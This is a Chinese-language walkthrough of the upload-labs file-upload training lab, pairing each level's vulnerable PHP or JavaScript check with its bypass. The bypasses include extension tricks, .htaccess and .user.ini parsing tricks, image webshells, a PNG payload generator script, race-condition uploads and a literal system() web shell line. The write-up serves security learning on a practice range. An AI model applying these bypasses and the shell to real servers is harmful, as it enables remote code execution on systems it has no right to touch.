https://github.com/c0ny1/upload-labs

pass-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function checkFile() {
var file = document.getElementsByName("upload_file")[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg =
"该文件不允许上传,请上传" +
allow_ext +
"类型的文件,当前文件类型为:" +
ext_name;
alert(errMsg);
return false;
}
}

通过前端 js 进行了验证,只允许上传指定的文件,只要浏览器禁用 js,或者先把文件名后缀改成 jpg 再抓包改回来都可以绕过限制上传文件

pass-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

通过 php 对文件类型 $_FILES[‘upload_file’][‘type’] 即 Content-Type 进行了检查,只有类型为 image/jpeg、image/png、image/gif 的时候才能上传

可以通过 burp 抓包修改之后绕过

image.png
image.png

pass-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
//定义了一个后缀黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
//如果上传的后缀再黑名单里面则不允许上传
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

使用了黑名单,过滤掉了 asp、aspx、php、jsp,只要找一个能解析的替换掉就可以了
这里正常来说是在 apache 的配置文件 httpd.conf 中设置的哪些可以解析才行的,但是我修改了却没起作用
AddType application/x-httpd-php .php .phtml

一些能解析的后缀:
php、php3、php4、php5、php7、pht、phtml、phar、phps
asp、aspx、cer、cdx、asa、asax
jsp、jspa、jspx

pass-4

这里黑名单扩充了很多,把一些常见的都给写进去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

但是可以传一个内容为

1
AddType application/x-httpd-php .jpg

的 .htaccess,他会把当前目录的 .jpg 当成 .php 来解析

image.png
image.png

pass-5

新版增加了一个第五关,没有过滤 .ini 文件
在 .user.ini 文件中写入:auto_prepend_file=yichen.jpg
而 yichen.jpg 中的内容写的是一句话,这样再去访问任何一个 php 都会包含这个 yichen.jpg

image.png
image.png

pass-6

源码中把统一转换成小写去掉了,所以可以使用大小写绕过黑名单中的后缀名 .Php 就可以
(可惜了这么长的黑名单了)

1
2
<?php
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

pass-7

没有去除空格
后缀名后面加上个空格就可以

image.png
image.png

pass-8

没有去掉 . ,在文件名后面追加一个.

pass-9

代码里又去掉了 ::$DATA,所以在后缀加上 ::$DATA 绕过
(抓包的时候加上 ::$data,访问的时候不带着)

pass-10

.空格.绕过

pass-11

双写绕过,代码中把检测到的黑名单中的后缀改为了空,所以多写一个嵌进去如:phphpp、

pass-12/13

需要满足以下条件:

  • php 版本小于 5.3.4
  • php 的 magic_quotes_gpc 为 OFF 状态
image.png
image.png

pass-14/15/16

图片马,可以在前面加上个 GIF89a 伪装成 gif 的文件头或者直接在图片后面写上一句话,然后通过文件包含来利用

pass-17

传上去的图片会再次渲染
对于 gif 来说,只要传个正常的上去,然后下载下来对比看看那个地方没有变在那个没变的地方写一句话就可以
对于 png 来说,有个脚本
要安装 php-gd apt-get -y install php-gd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

运行后会生成含有 的 jpg 文件

image.png
image.png

我傻了,电脑是 windows 的我一直在那里 ls,没有结果还以为有啥问题… 原来是脑子有问题

针对 jpg 也有个脚本 https://github.com/BlackFan/jpg_payload,首先传到网站上一张图片,下载渲染之后的,然后 php jpg_payload.php 1.jpg,这个 1.jpg 就是带有 payload 的了

image.png
image.png

这个脚本输出来的图片马可能会遇到,上传之后还是会裁剪一部分,那你就多写点占位的注释

image.png
image.png

就像这样:<?=system($_GET[c]);?>//ok2333

pass-18

image.png
image.png
image.png
image.png

选择一些无关紧要的部分添加一个变量,设置为数字爆破

image.png
image.png

他俩一起发送请求总有访问到的时候,访问到了就生成了 shell.php

image.png
image.png
image.png
image.png

pass-19

他只是重命名了,用不着竞争上传啊??

image.png
image.png

pass-20

加上个 /. 来绕过

image.png
image.png
image.png
image.png

pass-20

使用数组,在文件名后面加上 / 绕过

image.png
image.png
image.png
image.png